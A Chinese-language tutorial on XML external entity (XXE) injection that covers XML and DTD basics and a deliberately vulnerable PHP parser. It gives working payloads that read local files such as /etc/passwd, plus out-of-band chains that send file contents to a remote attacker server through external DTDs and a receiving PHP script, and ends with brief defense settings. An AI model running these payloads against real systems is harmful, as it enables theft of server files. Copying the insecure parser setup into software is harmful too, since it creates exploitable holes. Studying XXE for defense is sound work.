什么是XXE?
XXE全称是——XML External Entity,也就是XML外部实体注入攻击.漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。
XML学习
既然和XML相关,那我们就先来学习下XML的相关知识。XML 指可扩展标记语言(eXtensible Markup Language).XML被设计用来传输和存储数据。(划重点,存储!html是显示数据,两者设计的目的不同)
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素?什么是DTD呢?DTD全称为文档类型定义,使用的主要原因是XML都是用户自定义的标签,若出现小小的错误,软件程序将不能正确地获取文件中的内容而报错,因此,我们需要有一个标准来规范这份XML,关于DTD的写法我们在下一部分学习(DTD不是必需的)。
一份标准xml格式文档如下:
<!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义(DTD)-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型-->
]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>
我来说说关于XML的几个注意点:
1. 我们可以看出,XML的写法和HTML有点类似,都很多拥有标签和闭合标签,区别不同的是xml必需拥有闭合标签,而HTML有的可以不需要(例如<br>).
2. 另外还有一点,XML可以使用自己发明的标签,例如文中的<to>之类的标签都是自己发明的,而HTML则不行.
3. XML必须包含根元素,它是所有其他元素的父元素,比如上面实例中note就是根元素.
4. XML和HTML一样可以使用属性,例如以下例子:
<person sex="female">
<firstname>Anna</firstname>
<lastname>Smith</lastname>
</person>
可以看到,person标签就提供了一个sex的属性,需要注意的是,xml的属性一定要加引号,而且由于XML属性不易维护,应该尽量少使用属性.
5. XML标签对大小写敏感.
DTD学习
文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构.
我们还是以上面那个XML文件为例:
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档(根元素为note)-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素(to,from,heading,body)-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为"#PCDATA"类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为"#PCDATA"类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为"#PCDATA"类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为"#PCDATA"类型-->
]>
每一行的意义都在注释里面了,需要注意的是假如我们引用的DTD文件位于XML文件外部,我们可以通过外部引用的方法来引入DTD文件:
语法:<!DOCTYPE root-element SYSTEM "filename">
举例: <!DOCTYPE note SYSTEM "note.dtd">
PCDATA的意思是被解析的字符数据,在XML中,以下5个字符有特殊的含义
> < & " '
如果我们直接使用这些字符,可能会把<解析成标签的一部分导致解析错误,因此我们应该采用以下代换:
实体引用 | 字符 |
---|---|
\< | < |
\> | > |
\& | & |
\" | ” |
\' | ’ |
如果我们不想一个一个去设置,我们可以直接将字符类型设置为CDATA,CDATA是不会被解析器解析的文本。在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。除了PCDATA,CDATA还有ANY,EMPTY等类型可以选择。
实体
实体可以理解为变量,其必须在DTD中定义声明,可以在文档中的其他位置引用该变量的值。
实体根据引用方式,可分为内部实体与外部实体.
内部实体的声明
<!ENTITY entity-name "entity-value">
DTD 实例:
<!ENTITY writer "Donald Duck.">
<!ENTITY copyright "Copyright runoob.com">
XML 实例:
<author>&writer;©right;</author>
一个实体由三部分构成:一个和号 (&),一个实体名称, 以及一个分号 (;)
这样,当我们保存了XML文件打开后,将会把&writer;和©right;进行名称的代换.
外部实体的声明
<!ENTITY entity-name SYSTEM "URI/URL">
实例:
<!ENTITY writer SYSTEM "http://www.xxxx.com/entities.dtd">
语法引用外部的实体,而非内部实体,那么URL中能写哪些类型的外部实体呢? 主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:
实体根据类型的不同,又可以分为通用实体和参数实体
参数实体的引用
参数实体引用方法:
<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">
需要注意的是:
1. 使用% 实体名(这里面空格不能少)在DTD中定义,并且只能在DTD中使用 %实体名;引用.
2. 只有在 DTD 文件中,参数实体的声明才能引用其他实体
实例:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
我们可以怎么利用?
上面说了那么多,终于来到了正题,什么是XXE?以下面的例子为例:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!ENTITY writer SYSTEM "file:///c:/test.dtd">
<author>&writer;</author>
假如我们把路径换成敏感文件的目录,不就可以读出文件的内容了吗?
这就是一个最简单的XXE,XXE还可以造成命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害.(XXE本质上是一种SSRF)
有回显获取数据
<head><meta charset=utf-8><title>xxe测试</title></head><body><form action='' method='post'>xml数据:<br><textarea type="text" name="data"></textarea><br><input type='submit' value='提交' name='sub'></form></body>
<?php
libxml_disable_entity_loader(false);
date_default_timezone_set("PRC");
if(!empty($_POST['sub'])){ $data= $_POST['data'];
$dom = new DOMDocument();
$dom->loadXML($data, LIBXML_NOENT | LIBXML_DTDLOAD);
$answer = simplexml_import_dom($dom);
print($answer); }
?>
我们以上面的代码为例进行测试,需要注意的是,PHP在libxml>2.9.0时默认关闭了外部实体解析,因此需要加入一句:
libxml_disable_entity_loader(false);
来开启外部实体解析。(libxml版本可以在phpinfo界面查看)
我们可以构建payload:
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[<!ENTITY xxe SYSTEM "file:///C:/xxe.txt">]><login>&xxe;</login>
可以看到,成功获取数据.
由于我们这个文件不含有特殊字符,所以读取相当顺利,但是如果我们读取的文件含有<,>之类的字符,就会出现解析错误,这时候如果是在PHP下,我们可以采取将其转换成base64编码的形式来成功解析。
构建payload:
<?xml version="1.0" encoding="utf-8"?><!DOCTYPE note[<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=D:/xxe.txt">]><login>&xxe;</login>
可以看到,成功得到base64编码后的结果。
无回显获取数据
当没有输出时,我们应该怎么获取数据呢?我们可以采取获取数据后,将数据发往我们自己服务器的方法来获取数据。
我们仍旧采用上面的代码进行分析(注释了输出语句):
<head><meta charset=utf-8><title>xxe测试</title></head><body><form action='' method='post'>xml数据:<br><textarea type="text" name="data"></textarea><br><input type='submit' value='提交' name='sub'></form></body>
<?php
libxml_disable_entity_loader(false);
date_default_timezone_set("PRC");
if(!empty($_POST['sub'])){ $data= $_POST['data'];
$dom = new DOMDocument();
$dom->loadXML($data, LIBXML_NOENT | LIBXML_DTDLOAD);
$answer = simplexml_import_dom($dom);
}
?>
我们可以采用以下的payload:
<!DOCTYPE root[
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xx.xx/file.dtd">
%dtd;
%send;
]>
file.dtd上的内容
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://xxx.xxx.xx.xx/?p=%file;'>">
%payload;
具体原理不细讲,这样我们就可以在访问日志中接收到/etc/hosts的文件了。
这里需要注意一个问题,/etc/hosts文件较小,所以可以直接利用get回显,但是如果是/etc/passwd这样比较大的文件,dtd声明中定义外部实体时,对url有长度限制,我们就需要利用zlib.deflate来帮助我们压缩,从而得以从get中获取文件内容.
payload:
<!DOCTYPE root[
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/hosts">
<!ENTITY % dtd SYSTEM "http://xxx.xxx.xx.xx/file.dtd">
%dtd;
%send;
]>
我们将内容复制下来保存到一个文件1.txt中,然后使用base64解码再加上zlib.inflate解压即可:
php://filter/read=convert.base64-decode/zlib.inflate/resource=1.txt
当然我们还可以弄一个直接接收文件的php.
get.php
<?php
file_put_contents('xxe.txt', $_GET['xxe']);
?>
payload:
<!ENTITY % remote SYSTEM "http://xxx.xxx.xx.xx/XXE/1.dtd">
%remote;
]>
dtd文件内容:
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///etc/passwd">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://xxx.xxx.xx.xx/get.php?xxe=%payload;'>">
%int;
%trick;
这个did文件,引用了外部实体/etc/passwd作为payload的值,然后又将payload拼接到url上,进行http请求
接收到请求的get.php就将这个文件内容保存到xxe.txt中了,形成了一个文件读取的过程,最后保存到主机上
这里还遇到一个问题,把get.php放在与外部dtd文件同一个目录下时,就没有办法创建这个文本,但是放在不同目录下时就能够成功创建
防御XXE
主要思路就是禁用外部实体的引用
libxml_disable_entity_loader(true);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
from lxml import etree
xmlData = etree.parse(xmlSource, etree.XMLParser(resolve_entities = False))
XXE的构造
参数实体以%开头,我们使用参数实体需要遵循两条原则:
1.参数实体只能在DTD声明中使用
2.参数实体中不能再引用参数实体
也就是说,直接在内部实体定义中引用另一个实体的这种方法是行不通的,因为定义的参数实体不能直接在当前DTD处被其他的参数实体在定义时引用
错误代码示例:
<!DOCTYPE root [
<!ENTITY % param1 "file:///etc/passwd">
<!ENTITY % param2 "http://xxx.xxx.xx.xx/?%param1"> %param2;
]>
同样,下面这样的代码也是不行的:
<!DOCTYPE root [
<!ENTITY % param1 "file:///etc/passwd">
<!ENTITY % param2 "<!ENTITY % param222 SYSTEM'http://112.74.35.205/?%param 1;'>">
%param2;
]>
原因是不能再实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部实体连接,无论是一般实体还是参数实体
那我们怎样才能实现嵌套呢?
我们可以将嵌套的实体声明存放到一个外部文件中,这样做可以规避错误,而且这种方法可以应对过滤了file、&等字符的情况
payload:
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://xxx.xxx.xx.xx/evil.xml"> %remote;
%all;
]>
<root>&send;</root>
evil.xml
<!ENTITY % all "<!ENTITY send SYSTEM 'http://xxx.xxx.xx.xx/?file=%file;'>">
实体remote,all,send的引用顺序很重要,首先对remote引用目的是将外部文件evil.xml引入到解释上下文中,然后执行%all,这时会检测到send实体,在root节点中引用send,就可以成功实现数据转发
参考文章
一篇文章带你深入理解漏洞之 XXE 漏洞天师太强了!!!!
qiqi学姐的文章